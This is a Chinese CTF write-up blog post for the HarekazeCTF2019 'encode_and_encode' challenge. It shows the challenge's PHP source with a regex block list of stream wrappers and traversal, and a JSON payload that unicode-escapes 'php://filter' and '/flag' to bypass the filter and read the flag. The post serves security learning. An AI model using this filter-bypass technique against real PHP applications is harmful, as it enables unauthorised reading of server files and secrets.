刷题笔记:[HarekazeCTF2019]encode_and_encode


前言

关键词:[json|unicode]

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

题解

首先看php://input,而非$_GET,$_POST,$_REQUEST,所以不会进行urldecode,发什么包就是什么包。

源码的最后有个将flag给替换的操作,明显是不能明文读取,需要加密一下。

$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);

注意看代码,是is_valid($body),也就是说检测的是json字符串,而file_get_contents()读取的是json解码后的字符。

可见问题就出在这,思路就是$body检测原字符通过,json解码字符读取flag。

所以搜搜看json_decode()可得

json_decode()会自动解析unicode字符

所以可以用unicode编码绕过正则

payload:

{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

注意,需用burpsuite或其他办法发包,浏览器不可


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录